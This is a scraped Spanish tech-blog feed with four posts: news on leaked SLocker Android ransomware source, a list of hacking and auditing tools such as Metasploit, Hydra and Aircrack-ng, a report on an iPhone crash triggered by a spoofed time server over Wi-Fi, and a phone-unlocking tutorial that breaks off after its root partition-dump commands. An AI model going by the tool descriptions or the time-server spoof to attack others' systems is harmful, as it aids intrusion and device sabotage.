SLocker, la nueva preocupación de los usuarios Android

<div dir="ltr" style="text-align: left;" trbidi="on"> <img alt="SLocker ransomware para dispositivos Android" src="https://www.redeszone.net/app/uploads/2017/07/Decompilan-el-co%CC%81digo-fuente-de-SLocker.jpg?x=634&y=309" /><br /> <br /> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> Si ya existían suficientes preocupaciones, ahora los usuarios tienen una “nueva”. Es necesario matizar que SLocker no es una novedad en los que se refiere a amenazas informáticas. Sin embargo, hasta este momento no se disponía de acceso al código. <strong style="box-sizing: border-box;">Ciberdelincuentes</strong> han conseguido decompilar el código de este<strong style="box-sizing: border-box;"><em style="box-sizing: border-box;">ransomware</em></strong> y lo han hecho público en<strong style="box-sizing: border-box;">Internet</strong>. Esto quiere decir, que es más que probable que en los próximos días aparezcan versiones que afecten a los dispositivos <strong style="background-color: transparent; box-sizing: border-box; color: #bf0f0f; text-decoration: none;">Android</strong><span style="color: #bf0f0f;"><span style="box-sizing: border-box;">.</span></span></div> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> </div> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> Para ser mucho más precisos, el código fuente de esta amenaza se puede encontrar en <span style="color: #bf0f0f;"><span style="box-sizing: border-box;">GitHub</span></span>. Esto significa que los usuarios deberán tener en cuenta a muy corto plazo que aparecerán diferentes versiones. Se trata de un aspecto que se puede convertir en un problema, ya que es probable que la oleada de nuevas versiones no permita a las herramientas de seguridad adaptarse a la situación a tiempo.</div> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> Noe encontramos ante un <em style="box-sizing: border-box;">ransomware</em> puro, es decir, no se trata de una amenaza que lo que hace es bloquear la pantalla del dispositivo. El cifrado de información es real, como si de un sistema Windows se tratara.</div> <aside class="gaz_relnot_default gaz_relnot" style="align-items: center; background-color: white; box-shadow: rgba(0, 0, 0, 0.2) 0px 3px 10px 0px; box-sizing: border-box; color: #333333; display: flex; font-family: Lato; font-size: 18px; line-height: 30.6px; margin: 0px 0px 30px; padding: 15px; position: relative; text-align: justify; width: 634px;"><span class="gaz_relnot_image" style="box-sizing: border-box; flex-shrink: 0; float: left; margin: 0px 10px 0px 0px; position: relative; width: 165px;"><span style="color: #194280;"><span style="border-color: initial; border-image-outset: initial; border-image-repeat: initial; border-image-slice: initial; border-image-source: initial; border-image-width: initial; border-style: initial; height: auto; margin-left: auto !important; margin-right: auto !important;"><img alt="Android: El último método para infectar smartphones y tablets" class="img-responsive" src="https://www.redeszone.net/app/uploads/2017/07/ataques-dispositivos-android-165x100.jpg" style="border: 0px; box-sizing: border-box; display: block; height: auto; margin: 0px auto !important; max-width: 100%; vertical-align: middle;" /></span></span></span><h3 class="gaz_relnot_title" style="box-sizing: border-box; color: inherit; font-family: inherit; font-size: 17px; font-weight: 500; line-height: 1.3; margin: 0px 0px 10px;"> <span style="color: #32373c;"><span style="box-sizing: border-box;">Android: El último método para infectar smartphones y tablets</span></span></h3> </aside><div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> SLocker o Simple Locker, se trata de un <em style="box-sizing: border-box;">malware</em> que, en primer lugar, centra todos sus esfuerzos en cifrar el contenido almacenado en la memoria interna del terminal o en la tarjeta microSD (si existiese). Posteriormente, limita las funciones disponibles en el dispositivo. Es decir, realiza un bloqueo de la pantalla del sistema operativo, dejando al usuario únicamente la opción de realizar el pago para recuperar el acceso a los archivos.</div> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> Este es el comportamiento de la amenaza original, pero teniendo en cuenta el acceso al código fuente, es más que probable que aparezcan versiones con una funcionalidad ampliada.</div> <h2 style="background-color: white; box-sizing: border-box; clear: both; color: #333333; font-family: Lato; font-size: 1.85714em; font-weight: 400; line-height: 1.1; margin-bottom: 20px !important; margin-top: 0.38462em; text-align: justify;"> Las estimaciones de los expertos respecto a SLocker</h2> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> Desde mayo del pasado año, mes que podría considerarse el punto de partida de esta amenaza, han aparecido más de 400 variantes de SLocker, afectando a miles de dispositivos. Las últimas en aparecer hacen uso de la interfaz gráfica de WannaCry, aunque estas aún no se han beneficiado del código decompilado que se ha publicado esta misma semana.</div> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> Es muy probable que incluso estés infectado por esta amenaza y aún no te hayas percatado. ¿Por qué? La ejecución de esta es totalmente silenciosa y transparente para el usuario. Solo se podría saber consultando el listado de proceso que se encuentran en ejecución. Si se permite que el <em style="box-sizing: border-box;">ransomware</em> desempeñe todas sus funciones, es muy probable que no tengamos tiempo suficiente para comprobar esto, encontrándonos con los datos cifrados y la pantalla del terminal móvil bloqueada.</div> <h2 style="background-color: white; box-sizing: border-box; clear: both; color: #333333; font-family: Lato; font-size: 1.85714em; font-weight: 400; line-height: 1.1; margin-bottom: 20px !important; margin-top: 0.38462em; text-align: justify;"> ¿Cuál es la solución más eficaz?</h2> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> Aunque pueda parecer un tanto radical, la mejor forma de deshacerse de la amenaza es apagar cuanto antes el terminal móvil y arrancar en <strong style="box-sizing: border-box;">modo <em style="box-sizing: border-box;">recovery</em></strong>. Posteriormente, tendremos que restablecer el dispositivo a valores de fábrica. Sí, se va a producir toda la pérdida de la información. Pero esta ya se había perdido antes de esto. Aunque se pague la cantidad indicada por la amenaza, esta acción no garantiza que se recupere el acceso a la información.</div> <aside class="gaz_relnot_default gaz_relnot" style="align-items: center; background-color: white; box-shadow: rgba(0, 0, 0, 0.2) 0px 3px 10px 0px; box-sizing: border-box; color: #333333; display: flex; font-family: Lato; font-size: 18px; line-height: 30.6px; margin: 0px 0px 30px; padding: 15px; position: relative; text-align: justify; width: 634px;"><span class="gaz_relnot_image" style="box-sizing: border-box; flex-shrink: 0; float: left; margin: 0px 10px 0px 0px; position: relative; width: 165px;"><span style="color: #194280;"><span style="border-color: initial; border-image-outset: initial; border-image-repeat: initial; border-image-slice: initial; border-image-source: initial; border-image-width: initial; border-style: initial; height: auto; margin-left: auto !important; margin-right: auto !important;"><img alt="GhostCtrl, el nuevo RAT para Android que bloquea los dispositivos" class="img-responsive" src="https://www.redeszone.net/app/uploads/2017/07/ghostctrl-android-amenaza-165x100.jpg" style="border: 0px; box-sizing: border-box; display: block; height: auto; margin: 0px auto !important; max-width: 100%; vertical-align: middle;" /></span></span></span><h3 class="gaz_relnot_title" style="box-sizing: border-box; color: inherit; font-family: inherit; font-size: 17px; font-weight: 500; line-height: 1.3; margin: 0px 0px 10px;"> <span style="color: #32373c;"><span style="box-sizing: border-box;">GhostCtrl, el nuevo RAT para Android que bloquea los dispositivos</span></span></h3> </aside><h2 style="background-color: white; box-sizing: border-box; clear: both; color: #333333; font-family: Lato; font-size: 1.85714em; font-weight: 400; line-height: 1.1; margin-bottom: 20px !important; margin-top: 0.38462em; text-align: justify;"> ¿Cómo puedo evitar que SLocker alcance mi terminal?</h2> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> Aunque todavía no se ha detectado una oleada masiva que distribuya esta amenaza, los expertos indican que las posibles variantes utilizarán las tiendas de aplicaciones no oficiales para distribuir la amenaza. La mejor forma de combatir esto es no permitir la instalación de APK que procedan de otras fuentes que sean diferentes a la Google Play Store.</div> </div>

SLocker, la nueva preocupación de los usuarios Android

Si ya existían suficientes preocupaciones, ahora los usuarios tienen una “nueva”. Es necesario matizar que SLocker no es una novedad en ...

Leer más »

Las mejores herramientas de Hacking para este 2017

<div dir="ltr" style="text-align: left;" trbidi="on"> <img alt="Hacker Anonymous wants you" src="https://www.redeszone.net/app/uploads/2016/07/Hacker-Anonymous-wants-you.png?x=634&y=309" /><br /> <br /> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> La seguridad informática cada vez es un concepto más importante en el día a día de los usuarios. Los piratas informáticos cada vez utilizan técnicas más avanzadas y completas para engañar e infectar a los usuarios que se conectan a Internet sin la protección adecuada. Por ello, para ayudaros a comprobar la efectividad de la seguridad de vuestro ordenador, os vamos a recopilar las mejores herramientas de Hacking para este 2017.</div> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> </div> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> Igual que siempre que hablamos de este tipo de software, estas herramientas deben utilizarse siempre con cuidado y en sistemas y redes sobre las que tengamos permiso. Hacerlo en redes no autorizadas es un delito y dejaríamos de ser “hackers” para convertirnos en “piratas informáticos”.</div> <h2 style="background-color: white; box-sizing: border-box; clear: both; color: #333333; font-family: Lato; font-size: 1.85714em; font-weight: 400; line-height: 1.1; margin-bottom: 20px !important; margin-top: 0.38462em; text-align: justify;"> Recopilamos las mejores herramientas para hacking para protegernos este 2017</h2> <h3 style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 24px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 20px; text-align: justify;"> <a href="https://nmap.org/download.html" style="background-color: transparent; box-sizing: border-box; color: #194280; text-decoration: none;" target="_blank">Nmap</a></h3> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> La primera de las herramientas hacking de la que vamos a hablar es Network Mapper, conocida como NMap. Esta aplicación, gratuita y de código abierto, fue desarrollada originalmente para buscar puertos abiertos en un sistema, pero, con el tiempo, se ha convertido en una herramienta de lo más completa para ayudar la seguridad tanto de redes como de sistemas informáticos.</div> <h3 style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 24px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 20px; text-align: justify;"> <a href="https://www.wireshark.org/download.html" style="background-color: transparent; box-sizing: border-box; color: #194280; text-decoration: none;" target="_blank">Wireshark</a></h3> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> Si lo que queremos es realizar un escaneo mucho más profundo de la red, a nivel de los paquetes que viajan por ella, Wireshark es la herramienta ideal. Este analizador de paquetes y protocolos, gratuito y de código abierto, nos permite analizar y auditar con el máximo detalle nuestra red local, pudiendo tanto encontrar vulnerabilidades como posibles problemas de red (por ejemplo, cuellos de botella o saturaciones).</div> <aside class="gaz_relnot_default gaz_relnot" style="align-items: center; background-color: white; box-shadow: rgba(0, 0, 0, 0.2) 0px 3px 10px 0px; box-sizing: border-box; color: #333333; display: flex; font-family: Lato; font-size: 18px; line-height: 30.6px; margin: 0px 0px 30px; padding: 15px; position: relative; text-align: justify; width: 634px;"><span class="gaz_relnot_image" style="box-sizing: border-box; flex-shrink: 0; float: left; margin: 0px 10px 0px 0px; position: relative; width: 165px;"><a href="https://www.redeszone.net/2016/11/17/disponible-nuevo-wireshark-2-2-2-varias-vulnerabilidades-corregidas/?utm_source=related_posts&utm_medium=manual" style="background-color: transparent; box-sizing: border-box; color: #194280; text-decoration: none;" target="_blank"><img alt="Disponible el nuevo Wireshark 2.2.2 con varias vulnerabilidades corregidas" class="img-responsive" src="https://www.redeszone.net/app/uploads/2015/11/Logo-de-Wireshark-165x100.png" style="border: 0px; box-sizing: border-box; display: block; height: auto; margin: 0px auto !important; max-width: 100%; vertical-align: middle;" /></a></span><h3 class="gaz_relnot_title" style="box-sizing: border-box; color: inherit; font-family: inherit; font-size: 17px; font-weight: 500; line-height: 1.3; margin: 0px 0px 10px;"> <a href="https://www.redeszone.net/2016/11/17/disponible-nuevo-wireshark-2-2-2-varias-vulnerabilidades-corregidas/?utm_source=related_posts&utm_medium=manual" style="background-color: transparent; box-sizing: border-box; color: #32373c; text-decoration: none;" target="_blank">Disponible el nuevo Wireshark 2.2.2 con varias vulnerabilidades corregidas</a></h3> </aside><h3 style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 24px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 20px; text-align: justify;"> <a href="https://www.metasploit.com/" style="background-color: transparent; box-sizing: border-box; color: #194280; text-decoration: none;" target="_blank">Metasploit Penetration Testing Software</a></h3> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> Esta herramienta cuenta por defecto con un gran número de exploits con los que poder aprovecharnos de distintas vulnerabilidades tanto en sistemas informáticos como en redes. Gracias a ella, vamos a poder comprobar si nuestro sistema está totalmente actualizado y correctamente protegido frente a estas vulnerabilidades que, de ser descubiertas por usuarios malintencionados, pueden llegar a exponer nuestra seguridad.</div> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> Aunque podemos descargar esta aplicación de forma gratuita, existe una versión de pago bastante más completa con más funciones.</div> <h3 style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 24px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 20px; text-align: justify;"> <a href="https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project" style="background-color: transparent; box-sizing: border-box; color: #194280; text-decoration: none;" target="_blank">OWASP Zed</a></h3> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> Esta aplicación hacking está especializada en encontrar vulnerabilidades en aplicaciones web en lugar de hacerlo sobre redes o sobre sistemas físicos. Esta herramienta, escrita en Java (por lo que es multiplataforma), cuenta con un gran número de escáneres automáticos que nos van a permitir comprobar si existen posibles vulnerabilidades en nuestras plataformas web que puedan servir de puerta de entrada a piratas informáticos.</div> <aside class="gaz_relnot_default gaz_relnot" style="align-items: center; background-color: white; box-shadow: rgba(0, 0, 0, 0.2) 0px 3px 10px 0px; box-sizing: border-box; color: #333333; display: flex; font-family: Lato; font-size: 18px; line-height: 30.6px; margin: 0px 0px 30px; padding: 15px; position: relative; text-align: justify; width: 634px;"><span class="gaz_relnot_image" style="box-sizing: border-box; flex-shrink: 0; float: left; margin: 0px 10px 0px 0px; position: relative; width: 165px;"><a href="https://www.redeszone.net/2015/04/25/seguridad-web-owasp-zap/?utm_source=related_posts&utm_medium=manual" style="background-color: transparent; box-sizing: border-box; color: #194280; text-decoration: none;" target="_blank"><img alt="OWASP ZAP, herramienta para auditar la seguridad de una página web" class="img-responsive" src="https://www.redeszone.net/app/uploads/2015/04/owasp_logo-165x100.jpg" style="border: 0px; box-sizing: border-box; display: block; height: auto; margin: 0px auto !important; max-width: 100%; vertical-align: middle;" /></a></span><h3 class="gaz_relnot_title" style="box-sizing: border-box; color: inherit; font-family: inherit; font-size: 17px; font-weight: 500; line-height: 1.3; margin: 0px 0px 10px;"> <a href="https://www.redeszone.net/2015/04/25/seguridad-web-owasp-zap/?utm_source=related_posts&utm_medium=manual" style="background-color: transparent; box-sizing: border-box; color: #32373c; text-decoration: none;" target="_blank">OWASP ZAP, herramienta para auditar la seguridad de una página web</a></h3> </aside><h3 style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 24px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 20px; text-align: justify;"> <a href="http://sectools.org/tool/john/" style="background-color: transparent; box-sizing: border-box; color: #194280; text-decoration: none;" target="_blank">John The Ripper</a></h3> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> Si lo que queremos auditar es la seguridad de nuestras contraseñas, la herramienta John The Ripper es nuestra aliada. Esta aplicación ha sido desarrollada principalmente para romper contraseñas mediante ataques tanto de fuerza bruta como basados en diccionarios.</div> <aside class="gaz_relnot_default gaz_relnot" style="align-items: center; background-color: white; box-shadow: rgba(0, 0, 0, 0.2) 0px 3px 10px 0px; box-sizing: border-box; color: #333333; display: flex; font-family: Lato; font-size: 18px; line-height: 30.6px; margin: 0px 0px 30px; padding: 15px; position: relative; text-align: justify; width: 634px;"><span class="gaz_relnot_image" style="box-sizing: border-box; flex-shrink: 0; float: left; margin: 0px 10px 0px 0px; position: relative; width: 165px;"><a href="https://www.redeszone.net/seguridad-informatica/john-the-ripper-crackear-contrasenas/?utm_source=related_posts&utm_medium=manual" style="background-color: transparent; box-sizing: border-box; color: #194280; text-decoration: none;" target="_blank"><img alt="John The Ripper: Crackea contraseñas de usuarios en Linux" class="img-responsive" src="https://www.redeszone.net/2017/01/06/las-mejores-herramientas-hacking-este-2017/" style="border: 0px; box-sizing: border-box; display: block; height: auto; margin: 0px auto !important; max-width: 100%; vertical-align: middle;" /></a></span><h3 class="gaz_relnot_title" style="box-sizing: border-box; color: inherit; font-family: inherit; font-size: 17px; font-weight: 500; line-height: 1.3; margin: 0px 0px 10px;"> <a href="https://www.redeszone.net/seguridad-informatica/john-the-ripper-crackear-contrasenas/?utm_source=related_posts&utm_medium=manual" style="background-color: transparent; box-sizing: border-box; color: #32373c; text-decoration: none;" target="_blank">John The Ripper: Crackea contraseñas de usuarios en Linux</a></h3> </aside><h3 style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 24px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 20px; text-align: justify;"> <a href="http://sectools.org/tool/hydra/" style="background-color: transparent; box-sizing: border-box; color: #194280; text-decoration: none;" target="_blank">THC Hydra</a></h3> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> Esta herramienta de hacking es una alternativa a John The Ripper. Dentro de la categoría “Network Login Hacking Tool”, Hydra está especializada principalmente en buscar acceso remoto a sistemas a través de protocolos de red, como protocolos Mail, bases de datos, LDAP, SMB, VNC y SSH, entre otros.</div> <aside class="gaz_relnot_default gaz_relnot" style="align-items: center; background-color: white; box-shadow: rgba(0, 0, 0, 0.2) 0px 3px 10px 0px; box-sizing: border-box; color: #333333; display: flex; font-family: Lato; font-size: 18px; line-height: 30.6px; margin: 0px 0px 30px; padding: 15px; position: relative; text-align: justify; width: 634px;"><span class="gaz_relnot_image" style="box-sizing: border-box; flex-shrink: 0; float: left; margin: 0px 10px 0px 0px; position: relative; width: 165px;"><a href="https://www.redeszone.net/2016/06/20/la-nueva-version-thc-hydra-8-2-ya-se-encuentra-disponible-crackear-tipo-servicios-red/?utm_source=related_posts&utm_medium=manual" style="background-color: transparent; box-sizing: border-box; color: #194280; text-decoration: none;" target="_blank"><img alt="La nueva versión THC-Hydra 8.2 ya se encuentra disponible para crackear todo tipo de servicios en red" class="img-responsive" src="https://www.redeszone.net/app/uploads/2016/06/THC-Hydra-165x100.png" style="border: 0px; box-sizing: border-box; display: block; height: auto; margin: 0px auto !important; max-width: 100%; vertical-align: middle;" /></a></span><h3 class="gaz_relnot_title" style="box-sizing: border-box; color: inherit; font-family: inherit; font-size: 17px; font-weight: 500; line-height: 1.3; margin: 0px 0px 10px;"> <a href="https://www.redeszone.net/2016/06/20/la-nueva-version-thc-hydra-8-2-ya-se-encuentra-disponible-crackear-tipo-servicios-red/?utm_source=related_posts&utm_medium=manual" style="background-color: transparent; box-sizing: border-box; color: #32373c; text-decoration: none;" target="_blank">La nueva versión THC-Hydra 8.2 ya se encuentra disponible para crackear todo tipo de servicios en red</a></h3> </aside><h3 style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 24px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 20px; text-align: justify;"> <a href="http://www.oxid.it/cain.html" style="background-color: transparent; box-sizing: border-box; color: #194280; text-decoration: none;" target="_blank">Cain and Abel</a></h3> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> Una alternativa más para el crackeo de contraseñas que no podemos olvidar es Cain and Abel. Esta herramienta está especialmente diseñada para comprobar la seguridad de las contraseñas de Windows (y recuperarlas, en caso de olvidarnos de ellas). Esta aplicación es compatible con distintos hashes como NTLM, MD2, MD5, SHA-1 y SHA-2 y, además, es capaz de llevar a cabo funciones más complejas como la grabación de llamadas Vo-IP.</div> <h3 style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 24px; font-weight: 500; line-height: 1.1; margin-bottom: 10px; margin-top: 20px; text-align: justify;"> <a href="http://www.aircrack-ng.org/" style="background-color: transparent; box-sizing: border-box; color: #194280; text-decoration: none;" target="_blank">Aircrack-ng</a></h3> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> Esta legendaria herramienta hacking no necesita presentación. Cualquier usuario que haya auditado alguna vez la seguridad de su red inalámbrica seguro que la conoce. Gracias a ella, vamos a poder lanzar una serie de ataques contra la red Wi-Fi de manera que podamos comprobar su la configuración de seguridad de la misma y su contraseña con correctas o, de lo contrario, pueden estar expuestas y algún vecino pueda estar robando nuestro Wi-Fi.</div> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> Esta herramienta nos permite crackear tanto redes Wi-Fi WEP como WPA/WPA2, aunque todo dependerá de nuestras habilidades, de los clientes conectados a dicha red y del tiempo del que dispongamos.</div> <div style="background-color: white; box-sizing: border-box; color: #333333; font-family: Lato; font-size: 18px; line-height: 30.6px; margin-bottom: 10px; padding-bottom: 10px; text-align: justify; transform: rotate(0deg);"> <strong style="box-sizing: border-box;">¿Qué te parecen estas aplicaciones? ¿Recomendarías otras aplicaciones hacking para añadir a la lista para poder auditar la seguridad de cualquier sistema o red fácilmente?</strong></div> </div>

Las mejores herramientas de Hacking para este 2017

La seguridad informática cada vez es un concepto más importante en el día a día de los usuarios. Los piratas informáticos cada vez utili...

Leer más »

Un fallo permite bloquear tu iPhone al conectarse a un WiFi

<img alt="iphone-entierra-ipod-190116" src="http://cdn.elgrupoinformatico.com/img/w720/Noticias/2016/01/iphone-entierra-ipod-190116.png" /><br /> <div style="background-color: white; box-sizing: border-box; color: #3d3d3d; font-family: 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 30px; text-align: justify;"> Un fallo como poner el<span style="box-sizing: border-box; font-weight: 700;"> 1 de enero de 1970 </span>de fecha en <span style="box-sizing: border-box; font-weight: 700;">iOS </span>permite bloquearlo. Este fallo, aun no corregido totalmente por Apple, ha ido a más y ahora<span style="box-sizing: border-box; font-weight: 700;"> se puede explotar mediante WiFi</span>. Por tanto, simplemente conectarnos a una red WiFi puede hacer que<span style="box-sizing: border-box; font-weight: 700;"> bloqueen nuestro iPhone</span>.</div> <div style="background-color: white; box-sizing: border-box; color: #3d3d3d; font-family: 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 30px; text-align: justify;"> Al parecer basta que los usuarios tras el WiFi creen un servidor NTP, es decir, para proporcionar la hora. Este servidor fingiría ser<span style="box-sizing: border-box; font-weight: 700;"> time.apple.com</span> y siempre tendría la fecha del 1 de enero de 1970.</div> <div style="background-color: white; box-sizing: border-box; color: #3d3d3d; font-family: 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 30px; text-align: justify;"> De esta forma el usuario<span style="box-sizing: border-box; font-weight: 700;"> al conectarse al WiFi con su iPhone, el dispositivo intentaría actualizar la hora de forma automática</span>. Y así se bloquearía totalmente, reproduciendo el famoso error que parece que Apple no acaba de solucionar.</div> <div style="background-color: white; box-sizing: border-box; color: #3d3d3d; font-family: 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 30px; text-align: justify;"> <img alt="Imagen - Un fallo permite bloquear tu iPhone al conectarse a un WiFi" class="imgcenter" src="http://cdn.elgrupoinformatico.com/Noticias/2015/02/wifi-010215.png" style="border: 0px; box-sizing: border-box; display: block; height: auto; margin: auto; max-width: 100%; vertical-align: middle;" /></div> <div style="background-color: white; box-sizing: border-box; color: #3d3d3d; font-family: 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 30px; text-align: justify;"> Lo peor es que si nos conectamos a un <span style="box-sizing: border-box; font-weight: 700;">WiFi abierto </span>estamos expuestos totalmente a que se reproduzca dicha vulnerabilidad y deje nuestro iPhone inservible. Así los investigadores han probado el fallo creando un WiFi típico (como el de <span style="box-sizing: border-box; font-weight: 700;">Starbucks</span>) para que muchos dispositivos de iOS se conecten automáticamente, ya que si nos conectamos a uno se guardará dicho nombre.</div> <div style="background-color: white; box-sizing: border-box; color: #3d3d3d; font-family: 'Open Sans', 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 14px; line-height: 20px; margin-bottom: 30px; text-align: justify;"> Por lo visto, la vulnerabilidad es tan fácil de reproducir como esto. En realidad, no es el mismo fallo que el del <a class="postlink" href="http://www.elgrupoinformatico.com/cuidado-poner-enero-1970-fecha-iphone-bloquea-t28050.html" style="background: 0px 0px; border: none; box-sizing: border-box; color: #19a6ef; text-decoration: none; transition: background-color 0.25s, color 0.25s;">iOS 9.3 y la fecha de 1970</a>, aunque sí muy similar. De todas formas, los investigadores aseguran que la versión iOS 9.3.1 habría corregido el fallo, aunque no han dado detalles públicos</div>

Un fallo permite bloquear tu iPhone al conectarse a un WiFi

Un fallo como poner el  1 de enero de 1970  de fecha en  iOS  permite bloquearlo. Este fallo, aun no corregido totalmente por Apple, ha id...

Leer más »

[Tutorial] Liberar definitivamente el Samsung Galaxy 5

<div style="text-align: center;"><span class="post-content" style="display:block;width:710px;overflow:hidden;">Que tal gente, esta vez vengo con un gran aporte para los que poseen este gran teléfono, les traigo la manera definitiva para <b>liberar nuestro <a class="discreet" href="http://www.taringa.net/tags/Samsung">Samsung</a> Galaxy 5 de manera DEFINITIVA.</b><br /><br />Lo mejor de esto, es que necesitamos <span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">solo</label></span> un programa en nuestra PC, y son pocos pasos, voy a pasar a explicarles.<br /><br /><br /><br /><br /><span style="color: #ff0000"><b>PROGRAMAS Y <span><label style="color:#004b95;text-decoration:underline;border-bottom: 1px solid #004b95;;cursor:pointer;z-index:0;">APLICACIONES</label></span> NECESARIAS:</b></span><br />- <b>XVI32 Hex Editor <a href="http://api.viglink.com/api/click?format=go&drKey=1359&loc=http%3A%2F%2Fforum.xda-developers.com%2Fshowthread.php%3Ft%3D1335548&v=1&libid=1324972634292&out=http%3A%2F%2Fwww.handshake.de%2Fuser%2Fchmaas%2Fdelphi%2Fdownload%2Fxvi32_252.zip&title=%5BTUTORIAL%5D%20Unlock%20Samsung%20%5BGT-S5570%20%2F%20i5500%20%2F%20Galaxy%20Ace%5D%20-%20xda-developers&txt=XVI32%20Hex%20Editor&jsonp=vglnk_jsonp_13249728813901" rel="nofollow" target="_blank">(DESCARGAR)</a></b><br />- <b>Terminal Emulator (SE DESCARGA DEL MARKET)</b><br /><br /><span style="color: #ff0000"><b>PROCEDIMIENTO PARA EXTRAER EL ARCHIVO NECESARIO:</b></span><br />- Abrir la aplicación <a class="discreet" href="http://www.taringa.net/tags/Terminal%20Emulator">Terminal Emulator</a>.<br />- Dar permisos de Super Usuario a la aplicación.<br />- Escribir las siguientes lineas:<br /><b>- su</b><br /><b>- cat /dev/block/bml5>/sdcard/bml5.img</b><br /><b>- exit</b> (x2)<br /><br /><br />- Cerrar la aplicación.<br /><img border="0" class="imagen" src="http://www.imagengratis.org/images/terminalg.png" /><br /><em>bml5= (B - M - L - 5)</em><br /><em>x2= (escribir el comando dos veces)</em><br /><br /><br 